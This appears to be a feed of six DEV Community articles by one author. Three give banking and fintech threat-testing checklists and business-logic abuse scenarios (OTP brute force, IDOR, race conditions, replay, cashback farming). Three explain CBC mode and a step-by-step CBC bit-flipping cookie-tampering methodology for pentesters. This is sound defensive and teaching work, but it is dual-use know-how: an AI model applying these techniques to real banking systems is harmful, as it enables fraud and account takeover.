DEV Community: Arashad Dodhiya

20 Threat Scenarios Every Banking Application Should Test (Before Attackers Do)

Arashad Dodhiya — Sun, 21 Jun 2026 06:48:38 +0000

Every banking app I've ever worked on "worked" on the day it shipped. Login worked. Transfers worked. The balance updated correctly after every test case. QA signed off, the release notes went out, and everyone moved on to the next sprint.

And almost every one of those apps still had at least one issue that had nothing to do with whether a feature worked — and everything to do with whether it could be bent. That's the gap functional testing doesn't catch. A banking app can pass 100% of its regression suite and still let someone empty an account, fake a refund, or pull a stranger's statement just by changing a number in a request.

This is why threat-scenario testing matters more in banking than in almost any other category of software. You're not just protecting data — you're protecting money that moves in real time, often irreversibly. A missed XSS bug on a marketing site is embarrassing. A missed authorization check on a fund-transfer API is a regulatory incident.

Below are 20 scenarios I make sure get tested on every banking, NBFC, or payments app I touch — grouped the way they actually surface during an assessment, not in OWASP's order. If you're a developer, a QA engineer, or a security tester, treat this as a working checklist rather than a reading list.

Identity & Access: Where Most Real Damage Begins

1. Predictable or poorly rate-limited OTP

Most banking apps still lean on OTP as the backbone of authentication, and most OTP implementations have at least one soft spot: short length, long expiry windows, no lockout after repeated wrong attempts, or an OTP that stays valid even after a fresh one has been generated. Try it yourself — request an OTP, get it wrong ten times in a row, and see what happens. If nothing does, you've found your first real bug.

2. Session tokens that outlive the logout button

Tap "Logout," then replay the exact same token against an authenticated endpoint a minute later. A surprising number of apps still treat logout as a purely client-side event — the screen changes, but the server-side session is still very much alive. Pair this with a check on whether logging in from a new device actually kills sessions on the old one.

3. Privilege escalation between account roles

Joint accounts, sub-users on a merchant dashboard, family banking apps with a "guardian" and a "minor" profile — anywhere there's more than one role attached to a single account is worth probing. Log in as the lower-privilege user, then swap the account or user ID in an API call to one belonging to the higher-privilege role. If the backend trusts the ID in the request over the ID tied to the session token, you've got a problem.

4. Account-recovery flows that quietly bypass the front door

"Forgot password" and "forgot MPIN" flows get far less scrutiny than login itself, which is exactly why they're worth extra attention. Check whether recovery can be triggered with a SIM-swapped number, whether security questions are guessable, and — this one's easy to miss — whether resetting a password also forces re-registration of biometrics and device binding. If it doesn't, an attacker who takes over recovery has effectively taken over everything downstream too.

Transaction Integrity: The Money Has to Move Exactly Once, Exactly as Authorized

5. Client-side amount tampering

This is the oldest trick in the book and it still works more often than it should. Initiate a transfer, intercept the request after the app has already validated the amount on screen, and change the number before it hits the server. If the backend doesn't independently re-validate the amount against the user's actual limits and balance, the client-side check was theater.

6. Race conditions that enable double-spending

Fire two transfer or withdrawal requests against the same account balance at almost the exact same moment. If the backend reads the balance, processes both requests, and only then writes the updated balance, both can succeed even though only one should have. This is one of the highest-impact bugs you can find in a banking app, and it's also one of the easiest to overlook in a single-threaded test plan.

7. Negative amounts and decimal-precision abuse

Submit a transfer of -500 instead of 500, or try absurd decimal precision like 100.999999999. Some backends round in the attacker's favor, some misinterpret a negative number as a credit instead of rejecting it outright, and some simply crash in a way that leaves a transaction half-applied.

8. Currency conversion and rounding exploitation

Anywhere there's a forex conversion, a wallet-to-bank exchange, or a cashback calculation involving fractions of a rupee, there's a rounding rule. Run the same small transaction hundreds of times and check whether the rounding consistently favors the user. A loss of half a paisa per transaction sounds trivial until it's multiplied across a few hundred thousand accounts.

9. Replay attacks on transaction requests

Capture a completed, valid transaction request and resend it unchanged a few minutes later. Properly built systems reject this through nonces, timestamps, or idempotency keys. Plenty of systems don't, and a captured request becomes a repeatable transaction.

API & Communication: What Happens Between the App and the Server

10. Rate-limit bypass on OTP, PIN, or CVV verification

Brute-forcing a 4 or 6-digit PIN is entirely feasible if there's no lockout. Test whether throttling is tied to the account, the IP, or the device — and then test what happens when you simply change whichever one it's tied to. A counter that resets the moment you rotate your IP isn't really a counter.

11. SSL pinning bypass enabling interception

On a rooted device or emulator with a proxy tool and a pinning-bypass framework, check whether the app still happily talks to a server whose certificate it shouldn't trust. If sensitive payloads — OTPs, account numbers, auth tokens — are visible once pinning is defeated, that's a real interception risk for any user on a compromised device or hostile network.

12. Excessive data exposure in API responses

The endpoint that powers a clean two-line account summary on screen often returns far more than two lines under the hood. Inspect the raw response and look for full account numbers, PAN, linked-card details, or other fields the UI quietly discards. If the data left the server, it's exposed — regardless of what the screen shows.

13. IDOR on account, transaction, or statement identifiers

While authenticated as yourself, substitute another user's account ID, transaction ID, or statement reference into an API call. This is one of the most consistently found issues across banking apps, and one of the most damaging, because it's a direct path to someone else's financial data with no exploit chain required — just a changed number.

14. Webhook and callback spoofing

If your app relies on a payment gateway calling back to confirm success, ask what stops anyone from sending that exact callback directly, without ever touching the gateway. Signature verification on incoming webhooks is non-negotiable here; without it, "payment successful" becomes whatever an attacker says it is.

Mobile & Device: The App Doesn't Control the Device It Runs On

15. Root, jailbreak, and emulator detection bypass

Most apps check for root or jailbreak and then refuse to run, or run in a restricted mode. Most of those checks can be defeated with common, freely available tooling. The real test isn't whether detection exists — it's whether sensitive flows like fund transfer or beneficiary addition still function once detection is bypassed.

16. Insecure local storage of sensitive data

Pull the app's data directory or take a backup, then look through the local database and shared preferences for anything that shouldn't be sitting there in plaintext — auth tokens, account numbers, cached statements. Also check the app switcher: does the app blur its screen when backgrounded, or does it leave the last balance check sitting in plain view in the recent-apps tray?

17. Biometric authentication that's only skin-deep

Test whether the biometric check is enforced server-side or whether it's purely a local "true/false" gate that a modified client could simply answer "true" to. Also check the PIN fallback — it needs the same lockout and rate-limiting protections as biometrics, otherwise it's the easier door right next to the harder one.

Business Logic & Data Hygiene: The Bugs That Don't Show Up in Any Scanner

18. Beneficiary addition without proportionate friction

Adding a new beneficiary is one of the highest-risk actions in a banking app, because it's the first step toward moving money to an account that was never trusted before. Check whether it requires step-up authentication, whether there's a cooling-off period before large transfers to a newly added beneficiary are allowed, and whether the API enforces that limit independently of whatever the UI shows.

19. Loan and credit-limit calculation logic abuse

Income, employment status, and existing obligations typically feed into an eligibility or credit-limit calculation. Try tampering with these fields after the initial client-side check has already run, and test boundary values — an income or age figure sitting exactly on a threshold — to see whether the backend recalculates independently or simply trusts what it's handed.

20. Sensitive data leaking through logs and crash reports

Deliberately trigger a crash mid-transaction and then check what lands in the crash reporting tool. Full request and response bodies, OTPs, and account numbers showing up in a third-party crash analytics dashboard is far more common than most teams realize — and it's a finding that rarely comes up until someone actually goes looking.

Why This List Matters More Than a Clean Scan Report

A clean automated scan tells you the app probably isn't vulnerable to the issues a scanner knows how to look for. It tells you almost nothing about whether the logic of your banking app can be turned against itself — and that logic is exactly where most of the scenarios above live. None of them are exotic. None require zero-days. They require someone to sit down, think like both a tester and a fraudster, and actually try.

If you're building or testing a banking app, don't treat this as a one-time audit checklist. Build it into your test plans, revisit it every release, and add to it as your app grows new features — because every new feature is also a new place for an old assumption to quietly become a new vulnerability.

Why UPI and Fintech Apps Need Business Logic Testing (Not Just Security Testing)

Arashad Dodhiya — Sun, 21 Jun 2026 06:43:44 +0000

Most fintech breaches you read about involve a hacker, a vulnerability, and a headline. Most fintech losses I've actually seen up close involve none of those things. They involve someone who read the terms of a cashback offer more carefully than the product team did, found the one path through the workflow nobody had tested, and quietly walked away with money the system handed over willingly.

That's the part standard security testing misses. A penetration test asks: can someone break in? Business logic testing asks a more uncomfortable question: what happens if someone uses every feature exactly as designed, just not exactly as intended? In a country processing billions of UPI transactions a month, that second question matters just as much as the first — arguably more, because nobody needs a zero-day to abuse a referral program.

Here's where that gap shows up most often in Indian fintech apps.

Wallet Systems: Built for Speed, Tested for Function, Rarely Tested for Abuse

A digital wallet sits at the intersection of multiple money-in paths — UPI, card, net banking, cashback credits — and at least one money-out path. Every intersection like that is a place where timing and assumptions can quietly fall apart.

The classic version of this is a race condition: top up the wallet and spend from it in two near-simultaneous requests, and check whether the balance check happens before or after both transactions are committed. Done right, this should be impossible. Done wrong, a user can spend money that, technically, hadn't arrived yet — or spend the same balance twice.

There's a quieter version of the same problem around refunds. If a refund is credited back to the wallet on a different timeline than the original debit was finalized, there's often a window where the balance briefly shows more than it should, and a fast enough user can act inside that window before reconciliation catches up.

And then there's KYC tiering. Minimum-KYC wallets in India are deliberately capped at lower balance and transaction limits precisely because they require less identity verification. The abuse case writes itself: instead of one wallet pushing past its limit, several min-KYC wallets tied to the same person, device, or document quietly add up to far more than any single one was meant to allow. Testing this means asking not "does one wallet respect its limit," but "does the system know when the same person is operating five of them."

Cashback Abuse: When the Reward Engine Doesn't Talk to the Fraud Engine

Cashback and reward systems are usually built by a growth or marketing team, run on a separate set of rules from the core transaction engine, and tested almost entirely for whether the discount applies correctly. Whether the discount can be farmed is a different question, and it's often nobody's job to ask it during the build.

A few patterns show up again and again. Self-referral loops, where the same person — sometimes through nothing more sophisticated than two phone numbers — refers themselves and collects both ends of a referral bonus. "Complete one transaction, get cashback" offers that get triggered by a transaction which is then reversed or charged back, while the cashback itself was never designed to be clawed back along with it. Coupon codes that were meant to be used once per user but turn out to be enforceable only at the UI layer, so a direct API call lets the same code stack indefinitely. And new-user welcome offers claimed repeatedly through device or SIM farming, because "new user" was defined by an account creation date rather than anything tied to the actual device or identity behind it.

The uncomfortable truth here is that almost none of this requires bypassing security controls. It requires understanding the reward rule better than the team that shipped it, and most reward rules are written to maximize conversion, not to survive someone reading them adversarially.

Referral Abuse: When Growth Metrics Become the Attack Surface

Referral programs are one of the cheapest ways to acquire users in a country where customer acquisition cost is a constant pressure on every fintech roadmap, which is exactly why they're targeted as hard as they are.

The simplest version is account farming — disposable SIMs, emulator farms, or low-cost device clusters generating accounts purely to trigger referral payouts, with no intention of ever becoming a real user. A more subtle version exploits sequencing: if the reward fires the moment a referred account signs up, rather than after it completes genuine KYC or a minimum transaction, the gap between "signed up" and "verified" becomes the exploit window. And almost all of it eventually routes back to a small number of real bank accounts or UPI IDs for cash-out, which is precisely the kind of pattern that's invisible if you're only testing one account at a time, and very visible the moment you test for clusters — shared device IDs, shared IPs, shared bank accounts behind dozens of "different" users.

This is also where business logic testing and fraud analytics genuinely overlap. Testing a referral program properly means asking the same questions a fraud team would ask after the fact, just before launch instead of after the losses show up in a dashboard.

Open Banking and Account Aggregator APIs: A Newer Surface, Tested Far Less

India's Account Aggregator framework, regulated by the RBI, lets a user consent to share financial data from a bank (the Financial Information Provider) with a fintech app (the Financial Information User) through a licensed aggregator sitting in between. It's a genuinely well-designed system on paper — consent-based, purpose-bound, time-limited. Whether it's implemented that way in any given app is a separate question, and it's one that gets tested far less often than it should, mostly because the framework is newer and most testing playbooks haven't caught up yet.

A few places this tends to break down. Consent scope creep, where an app technically asks for a narrow purpose — say, balance verification for a loan application — but the data actually pulled and stored includes the full transaction history that was never part of the consent artefact. Consent that's been revoked by the user but is still technically usable because the backend never actually checks expiry or revocation status before serving cached data. And data minimization failures, where an API built to answer "is the balance above X" instead returns the full account statement, because it was easier to build one endpoint than two.

There's also a quieter authentication question worth testing: in a multi-party consent ecosystem, what actually stops one registered FIU from making a request that looks like it's coming from another? The framework assumes every participant is who they claim to be and behaves accordingly. That assumption is worth testing directly rather than trusting by default.

Why None of This Shows Up in a Standard Pentest Report

A vulnerability scanner is built to find things with names — SQL injection, broken authentication, insecure deserialization, the kind of issue that maps cleanly to a CVE or an OWASP category. Almost everything above doesn't map cleanly to anything. There's no CVE for "the referral reward fires before KYC completes." There's no scanner signature for "five minimum-KYC wallets belonging to one person add up to more than the limit was supposed to allow."

That's precisely why it gets missed so often. It doesn't fail a security test, because it was never a security bug in the traditional sense — it's a business rule that nobody adversarially tested. Catching it means building a parallel test track alongside your functional and security testing: one written by people who sit down with the product spec and ask, deliberately and a little uncharitably, "how would I personally try to get more out of this than I'm supposed to?"

At UPI's transaction volumes, even a fraction-of-a-percent abuse rate stops being a rounding error and starts being a real number on a balance sheet. Treating business logic testing as a genuine, ongoing discipline — not a one-time review before launch — is the difference between finding that number internally, on your own terms, or finding it later, in a fraud report you didn't see coming.

Business Logic Attacks Explained Using a Banking App

Arashad Dodhiya — Sun, 21 Jun 2026 06:22:55 +0000

How Attackers Abuse Perfectly Working Features Without Hacking the Code

Most developers spend months securing authentication, encryption, and APIs.

Then an attacker steals money without breaking a single security control.

That's the scary part about business logic attacks.

No SQL injection.
No remote code execution.
No malware.

The application behaves exactly as designed.

The attacker simply uses the application's own business rules against it.

And nowhere is this easier to understand than in a banking application.

In this article, you'll learn what business logic attacks are, how they work inside a banking system, and why traditional security testing often misses them completely.

What Is a Business Logic Attack?

A business logic attack occurs when an attacker abuses legitimate application functionality in a way the developers never intended.

The system isn't technically broken.

The rules are.

Think of a bank vault.

Most security testing focuses on making sure nobody can break the vault door.

Business logic testing asks a different question:

"What if someone convinces the guard to open the vault for them?"

The vault works perfectly.

The process doesn't.

Why Banking Applications Are Perfect Examples

Banking systems contain hundreds of business rules:

Who can transfer money
Transfer limits
Beneficiary approvals
Bill payment workflows
Refund processes
Reward systems

Each rule is designed to protect users.

But if a rule is incomplete, attackers may manipulate it.

Let's walk through a simplified banking application.

Banking Application Overview

Imagine an online banking portal with four major features:

1. Login

Users authenticate using:

Username
Password
OTP

2. Beneficiary Management

Users can:

Add recipients
Modify recipient details
Delete recipients

3. Fund Transfer

Users transfer money between accounts.

4. Bill Payment

Users pay:

Electricity bills
Mobile bills
Credit card bills

Simple.

Secure.

Or at least it looks secure.

Banking Workflow Diagram

+------------------+
|      Login       |
+--------+---------+
         |
         v
+------------------+
| Add Beneficiary  |
+--------+---------+
         |
         v
+------------------+
| Wait Approval    |
| (Cooling Period) |
+--------+---------+
         |
         v
+------------------+
| Transfer Funds   |
+--------+---------+
         |
         v
+------------------+
| Payment Success  |
+------------------+

This workflow exists for a reason.

Every step adds protection.

Business logic attacks target those protections.

Scenario 1: Beneficiary Approval Bypass

Most banks don't allow immediate transfers to newly added beneficiaries.

Why?

Because attackers frequently compromise accounts.

A waiting period reduces damage.

Example:

Add Beneficiary
       |
       v
24 Hour Waiting Period
       |
       v
Transfer Allowed

Seems safe.

But imagine a flaw where the waiting period is only checked on the user interface.

An attacker discovers another transfer endpoint that doesn't verify the beneficiary age.

Result:

Add Beneficiary
       |
       v
Direct API Request
       |
       v
Transfer Executed

No authentication bypass.

No vulnerability scanner alert.

Just a missing business rule validation.

Scenario 2: Transfer Limit Manipulation

Most banks enforce daily transfer limits.

Example:

Daily Transfer Limit = ₹50,000

The intended rule:

Total Transfers Today <= ₹50,000

Now imagine developers only validate each transaction individually.

Transaction 1 = ₹49,000
Transaction 2 = ₹49,000
Transaction 3 = ₹49,000

Every transfer appears valid.

But collectively:

₹147,000 Transferred

The system checked transactions.

It forgot to check cumulative behavior.

This is a classic business logic failure.

Scenario 3: Beneficiary Ownership Confusion

Let's say a user manages multiple accounts.

Savings Account
Current Account
Joint Account

The application allows beneficiary editing.

The expected logic:

User can edit
ONLY their own beneficiaries

An attacker discovers predictable beneficiary IDs.

Example:

Beneficiary ID 1001
Beneficiary ID 1002
Beneficiary ID 1003

If ownership validation is missing:

Edit Beneficiary
ID = 1002

The attacker could modify another user's beneficiary details.

The feature works exactly as coded.

The rule doesn't.

Scenario 4: Bill Payment Abuse

Now let's examine bill payments.

Normal workflow:

Enter Account
Select Biller
Pay Amount
Receive Confirmation

Many systems offer rewards:

Pay Bill
Earn Cashback

Imagine:

₹100 Cashback
Per New Bill Payment

The intended rule:

One reward per legitimate bill

But what if:

Create Bill
Pay Bill
Cancel Bill
Repeat

The application keeps issuing rewards.

The business team created a promotion.

The attacker created a money-printing machine.

Visual Attack Chain

Legitimate Feature
        |
        v
Missing Business Rule
        |
        v
Unexpected User Action
        |
        v
Financial Impact

Notice what's missing.

No hacking tools.

No exploits.

No malware.

Just logic abuse.

Why Traditional Security Testing Misses These Issues

Most security scanners are excellent at finding:

SQL Injection
XSS
SSRF
Directory Traversal
Command Injection

Business logic attacks are different.

A scanner sees:

Transfer Request
Status: 200 OK

Looks fine.

A human tester asks:

"Should this transfer have been allowed at all?"

That's where business logic testing begins.

Questions Security Testers Should Ask

When reviewing a banking application, ask:

Authentication

Can workflows be completed without all required checks?
Can verification steps be skipped?

Beneficiary Management

Can ownership be changed?
Can waiting periods be bypassed?
Can deleted beneficiaries still be used?

Fund Transfers

Are limits enforced globally?
Are limits enforced per transaction only?
Can requests be replayed?

Bill Payments

Can rewards be abused?
Can refunds be manipulated?
Can duplicate payments create unintended outcomes?

These questions uncover issues that automated tools often miss.

Real-World Signs of Business Logic Weaknesses

Watch for:

✅ Hidden workflows

✅ Alternate API endpoints

✅ Missing approval checks

✅ Inconsistent validation

✅ Reward systems

✅ Multi-step transactions

✅ Financial calculations

The more complex the workflow, the larger the attack surface.

How Organizations Defend Against Business Logic Attacks

Strong defenses include:

Server-Side Validation

Never trust UI restrictions.

Every rule must be verified on the server.

Threat Modeling

Ask:

"How could a malicious user misuse this feature?"

before deployment.

Workflow Testing

Test entire business processes instead of isolated endpoints.

Abuse Case Reviews

Most teams create use cases.

Elite security teams create abuse cases.

Example:

Use Case:
User transfers money.

Abuse Case:
Attacker attempts 500 small transfers.

The second question often reveals the real risk.

Final Thoughts

Business logic attacks are dangerous because nothing appears broken.

The login works.

The transfer works.

The payment works.

Everything works.

That's exactly the problem.

Attackers don't always need technical vulnerabilities. Sometimes they only need a workflow that trusts users more than it should.

The next time you're reviewing a banking application, don't just ask:

"Can this feature be hacked?"

Ask:

"Can this feature be abused?"

That single question uncovers vulnerabilities that scanners, checklists, and even experienced developers frequently miss.

Have you ever encountered a business logic flaw during a security assessment? Share your experience in the comments—it's often the most interesting vulnerability in the entire application.

The Pentester’s Guide to Finding CBC Bit Flipping Vulnerabilities

Arashad Dodhiya — Wed, 17 Jun 2026 07:36:33 +0000

If you spend enough time poking at web applications, you’ll eventually run into a target that handles session management poorly. You’ll intercept a request, look at the cookie, and see a massive, encrypted string.

For a lot of testers, encrypted state data is a dead end. If you can’t read it, you move on.

But if that application is relying on CBC (Cipher Block Chaining) mode without implementing an integrity check (like a MAC), that encrypted cookie isn't a dead end. It’s an attack vector.

Here is a practical, step-by-step methodology for testing web applications for CBC bit flipping vulnerabilities safely and effectively.

The Methodology: How to Test for Bit Flipping

Testing for this flaw requires a mix of cryptography knowledge and standard web manipulation. You aren't trying to crack the encryption key; you are intentionally corrupting the ciphertext in transit to see how the backend application reacts to the resulting corrupted plaintext.

1. Capture the Encrypted Cookie

First, you need to isolate the target data. Route your traffic through an intercepting proxy like Burp Suite or OWASP ZAP. Look for session identifiers, auth tokens, or state parameters that look like encrypted blobs.

Hint: If the application uses a recognizable format like JWT, this attack likely doesn't apply (JWTs have built-in signature verification). You are looking for opaque, proprietary encrypted strings.

2. Decode the Transport Format

Ciphertext is raw binary, which doesn't travel well over HTTP. Developers almost always encode it. Before you can manipulate the blocks, you need to strip away the transport encoding.

Is it Base64 encoded? (Look for == padding at the end).
Is it Hex encoded? (Look for strings of 0-9 and A-F).
Is it URL encoded? (Look for % symbols).

Decode the string down to its raw bytes. If you try to flip bits on a Base64 string directly, you'll break the encoding itself, not the underlying ciphertext.

3. Identify the Block Boundaries

AES operates on strict 16-byte (128-bit) blocks. Once you have the raw ciphertext, conceptually divide it into 16-byte chunks.

If the cookie is exactly 32 bytes, you have two blocks. If it's 48 bytes, you have three.
The core mechanic of CBC bit flipping is that modifying a byte in Block N will alter the corresponding decrypted byte in Block N+1.

If you suspect the sensitive data (like role=user) is in the second block, you need to target your modifications at the first block.

4. Modify the Ciphertext (The Flip)

This is where the magic happens.

To systematically test the application, you alter a single byte in the ciphertext block preceding your target block.

If you know the exact plaintext structure (e.g., you know the cookie format is exactly userid=123;role=user), you can use XOR math to calculate exactly which byte to flip to change user to admi.

If you don't know the plaintext structure—which is common in black-box testing—you have to fuzz it. Systematically alter bytes one by one in the target block.

5. Replay the Request

Re-encode your modified ciphertext (e.g., back into Base64, then URL encoding) and inject it back into the cookie header. Forward the modified request to the server.

6. Observe Application Behavior

The server is going to decrypt your modified cookie. Because you altered the previous block, the decrypted plaintext for the current block will be scrambled.

You need to observe how the application reacts:

Authorization Change: Did you suddenly gain access to an admin panel or another user's account? (Bingo. Successful exploit).
Application Errors (500 Internal Server Error): The application decrypted the data, but the resulting plaintext was garbage (e.g., role=x$9p), causing a database lookup to fail or a parsing error. This is a strong indicator that the application is vulnerable to tampering, even if your specific payload didn't grant access.
Silent Failure/Logout: The application might redirect you to the login screen. It either successfully parsed your broken string and couldn't find a matching session, or it did have an integrity check (like a MAC) that caught your tampering and killed the session.

Common False Positives

When hunting for this, it is easy to misinterpret the server's response. Watch out for these traps:

Padding Oracles: If you modify the very last block, or modify bytes that result in invalid PKCS#7 padding, the server might throw a specific cryptographic error. This is a Padding Oracle vulnerability—which is great—but it is a different attack than pure bit flipping.
WAF Interventions: If you flip a byte and the resulting decrypted plaintext happens to contain characters like ' or <script>, a Web Application Firewall might block the request. You might see a 403 Forbidden and assume the crypto caught you, but it was actually the WAF catching the garbage output.
Format Exceptions: Just because the server throws a 500 error doesn't mean you can successfully exploit it for privilege escalation. Sometimes, the data structure is so rigid that any flipped bit breaks the application logic before it can be exploited.

The Golden Rule: Safe Testing Methodology

When testing production systems for bug bounties or client pentests, tread lightly.
Bit flipping corrupts data. If the application writes that decrypted, corrupted state back into a database, you could permanently break your test account (or worse, impact other systems).

Always conduct these tests using accounts you own and control. Start by flipping a single, low-impact bit and monitoring the exact HTTP response. Don't run an automated script that fires 10,000 modified cookies at a production endpoint without understanding how the backend handles the garbage data you are generating.

Finding a CBC bit-flipping flaw is incredibly satisfying. It proves that you went beyond the surface-level web vulnerabilities and broke the underlying logic of the application's trust model.

CBC Bit Flipping Explained: Why Encryption Alone Doesn't Guarantee Integrity

Arashad Dodhiya — Wed, 17 Jun 2026 05:25:44 +0000

Most developers learn a hard lesson at some point in their careers: just because data is encrypted doesn't mean it’s safe from tampering.

It’s an easy trap to fall into. If an attacker doesn't have the secret key, they can't read the data. And if they can't read it, how could they possibly modify it to do something malicious?

But cryptography is unforgiving, and it treats secrecy and integrity as two entirely separate jobs. This exact misunderstanding is what makes the CBC (Cipher Block Chaining) Bit Flipping attack possible.

Here is a look at how an attacker can manipulate encrypted data without ever knowing the secret key.

The Problem with Chaining Blocks

To understand the attack, you have to look at how CBC mode actually processes data.

When you use AES, it doesn't encrypt your file as one massive chunk. Instead, it chops the data into 16-byte blocks. In CBC mode, these blocks are cryptographically chained together to hide patterns. The encrypted output of the first block gets mathematically mixed into the plaintext of the second block before it gets encrypted, and so on down the line.

It’s a clever way to keep data confidential. But it introduces a structural quirk during decryption.

When a server receives the data and decrypts it, the process works in reverse. To figure out the original plaintext of Block 2, the server decrypts it, and then combines it with the encrypted ciphertext of Block 1.

Because the previous encrypted block dictates the final output of the next block, attackers have a way in.

Blind Tampering

An attacker intercepts your encrypted traffic. They don't have the key, so it just looks like gibberish to them. But they know you are using CBC mode.

The attacker intentionally alters a few bits in the ciphertext of Block 1 and sends the traffic along to your server.

When your server decrypts the data, it processes the attacker's scrambled Block 1. Because of how the chain works, that blind alteration in Block 1 cascades directly into the math for Block 2.

The attacker doesn't need to read the message. By simply flipping bits in the encrypted text, they can systematically manipulate the decrypted text that your application ultimately processes.

The Session Cookie Exploit

To see why this is dangerous, look at how older web apps handled session management.

Developers used to store user state in encrypted cookies, assuming the encryption made them tamper-proof. A cookie might secretly contain a string like this:

userid=994;role=user;

An attacker logs in, gets their encrypted cookie, and intercepts it. They run a script to methodically flip bits in the ciphertext, sending thousands of requests back to the server until the server accepts one that gives them elevated access.

Because the server only checks if the data decrypts—and doesn't verify if it was tampered with—it blindly processes the attacker's modified data. Suddenly, that decrypted string looks like this:

userid=994;role=admi;

The attacker just escalated their privileges without ever reading the cookie or knowing the encryption key.

The Fix: Don't Just Encrypt, Authenticate

The underlying flaw here isn't necessarily CBC mode itself; it’s the assumption that encryption guarantees integrity.

Confidentiality keeps attackers from reading data.
Integrity keeps attackers from altering data.

Modern cryptography solves this by bundling both together. Today, the standard approach is to use Authenticated Encryption, with AES-GCM being the most common default.

Unlike traditional CBC, AES-GCM generates a cryptographic tag—essentially a tamper-evident seal—alongside the ciphertext. When the server receives the data, it checks the seal first. If a single bit has been flipped in transit, the seal breaks, the math fails, and the server drops the data entirely before it even tries to process it.

If you are forced to use CBC mode, the defense is an Encrypt-then-MAC architecture. You encrypt the data, generate a unique authentication code (MAC) for that specific ciphertext, and verify it on the receiving end before decryption starts.

The takeaway is simple: secret data isn't automatically trustworthy data. If your system relies on encrypted data to make decisions, you have to prove it hasn't been altered before you use it.

Understanding CBC Mode: How Block Cipher Chaining Actually Works

Arashad Dodhiya — Tue, 16 Jun 2026 14:50:55 +0000

The missing piece most developers never learn about AES encryption.

Encryption Is More Than Just AES

Ask a developer what encryption algorithm their application uses, and you'll often hear:

"We use AES-256."

That's good—but incomplete.

Here's the thing: AES alone doesn't tell the whole story.

AES is only the encryption algorithm. To encrypt data larger than a single block, AES needs a mode of operation. One of the most widely used modes in the past was CBC (Cipher Block Chaining).

Understanding CBC is important not only for developers but also for security engineers, because many cryptographic attacks—such as CBC bit flipping and padding oracle attacks—stem from how CBC works.

By the end of this article, you'll understand:

What symmetric encryption is
What AES actually does
Why modes of operation exist
How CBC encryption and decryption work
The role of the Initialization Vector (IV)
Why CBC has limitations

Let's begin from the ground up.

What Is Symmetric Encryption?

Symmetric encryption uses the same secret key for both encryption and decryption.

Think of it like a house key:

You lock the door with one key.
You unlock it with the same key.

Encryption works similarly.

Plaintext + Secret Key → Ciphertext
Ciphertext + Same Key → Plaintext

Examples of symmetric encryption algorithms:

AES
DES
Blowfish

The challenge isn't just keeping the key secret.

It's also encrypting data securely.

What Is AES?

AES stands for Advanced Encryption Standard and is one of the most widely used encryption standards in the world. It uses the same secret key for encryption and decryption and supports key sizes of 128, 192, and 256 bits.

You'll encounter AES in:

HTTPS
VPNs
Disk encryption
Password managers
Secure messaging apps

But AES has an important limitation.

It encrypts fixed-size blocks.

For AES, that block size is always:

128 bits (16 bytes).

And this leads us to the next concept.

What Is a Block Cipher?

A block cipher encrypts data in fixed-size chunks called blocks.

Imagine the message:

HELLO WORLD THIS IS A SECRET MESSAGE

AES doesn't encrypt the whole message at once.

Instead, it splits it into blocks:

Block 1
Block 2
Block 3
...

Each block is encrypted separately.

Sounds simple.

But there's a problem.

Why Do We Need Modes of Operation?

Suppose two blocks contain identical data:

Block A = ADMIN
Block B = ADMIN

If we encrypt them independently using the same key, the ciphertext may also be identical.

An attacker could start spotting patterns.

And patterns are dangerous in cryptography.

To solve this problem, cryptographers created modes of operation.

Modes define how blocks interact with each other during encryption.

Common modes include:

Today we're focusing on CBC.

ECB vs CBC: Why CBC Was Introduced

ECB (Electronic Codebook)

ECB encrypts every block independently:

P1 → Encrypt → C1
P2 → Encrypt → C2
P3 → Encrypt → C3

The problem?

Identical plaintext blocks produce identical ciphertext blocks. This leaks patterns in the data.

CBC (Cipher Block Chaining)

CBC fixes this by linking blocks together.

Each plaintext block is combined with the previous ciphertext block before encryption.

As a result:

Every block depends on all previous blocks.

This greatly reduces pattern leakage.

What Is an Initialization Vector (IV)?

There's one problem.

The first block has no previous ciphertext block.

So what should CBC use?

The answer is the Initialization Vector (IV).

An IV is a random value used only for the first block. It ensures that encrypting the same plaintext twice with the same key produces different ciphertext.

Important facts:

✅ IV does not have to be secret

✅ IV should be unique and unpredictable

❌ Reusing IVs can weaken security

Think of the IV as a random starting point.

Real-World Analogy: Passing Secret Notes

Imagine a chain of people passing secret notes.

Each person doesn't just encrypt their message.

They also mix it with the previous person's encrypted message.

If one note changes, every note afterward changes too.

That's exactly how CBC works.

Hence the name:

Cipher Block Chaining.

How CBC Encryption Works

CBC encryption follows this formula:

C₁ = Encrypt(P₁ XOR IV)

C₂ = Encrypt(P₂ XOR C₁)

C₃ = Encrypt(P₃ XOR C₂)

Where:

P = Plaintext
C = Ciphertext
IV = Initialization Vector

Each block depends on the previous ciphertext block.

Encryption Flow

Plaintext Block 1
        ↓
XOR with IV
        ↓
AES Encrypt
        ↓
Ciphertext Block 1
        ↓
XOR with Plaintext Block 2
        ↓
AES Encrypt
        ↓
Ciphertext Block 2

A small change in one block affects all following ciphertext blocks.

This property is called chaining.

How CBC Decryption Works

Decryption reverses the process.

Formula:

P₁ = Decrypt(C₁) XOR IV

P₂ = Decrypt(C₂) XOR C₁

P₃ = Decrypt(C₃) XOR C₂

Notice something interesting?

The previous ciphertext block is required for decryption.

This design decision later enabled attacks such as:

CBC Bit Flipping
Padding Oracle Attacks

We'll cover those in future articles.

Why XOR Matters

XOR (Exclusive OR) is one of the most important operations in cryptography.

A special property of XOR:

A XOR B XOR B = A

This allows data to be mixed and later recovered during decryption.

Without XOR, CBC would not work.

Advantages of CBC Mode

CBC improved upon ECB in several ways:

✅ Hides repeating patterns

✅ Makes ciphertext less predictable

✅ Widely supported historically

✅ Strong confidentiality when implemented correctly

For many years, CBC was the standard choice in protocols and applications.

Limitations of CBC Mode

CBC isn't perfect.

Some limitations include:

❌ Requires padding

❌ Encryption cannot be parallelized efficiently

❌ Incorrect IV handling weakens security

❌ Provides confidentiality but not integrity

This last point is critical.

Encryption alone does not guarantee that ciphertext hasn't been modified.

That's why modern applications often use authenticated encryption modes such as AES-GCM, which provide both confidentiality and integrity.

Why CBC Still Matters Today

Even though modern systems increasingly prefer AES-GCM, CBC still appears in:

Legacy applications
Older TLS implementations
Custom encryption schemes
Historical vulnerability research

If you're a developer, understanding CBC helps you build safer systems.

If you're a security researcher, understanding CBC helps you recognize cryptographic weaknesses.

Because in security, understanding the design is often more important than memorizing the attack.

What's Next?

Now that you understand how CBC works, the next question becomes:

What happens if an attacker modifies the ciphertext?

That question leads directly to one of the most fascinating cryptographic attacks:

CBC Bit Flipping.

And that's exactly what we'll explore next.

Understanding CBC Mode: How Block Cipher Chaining Actually Works

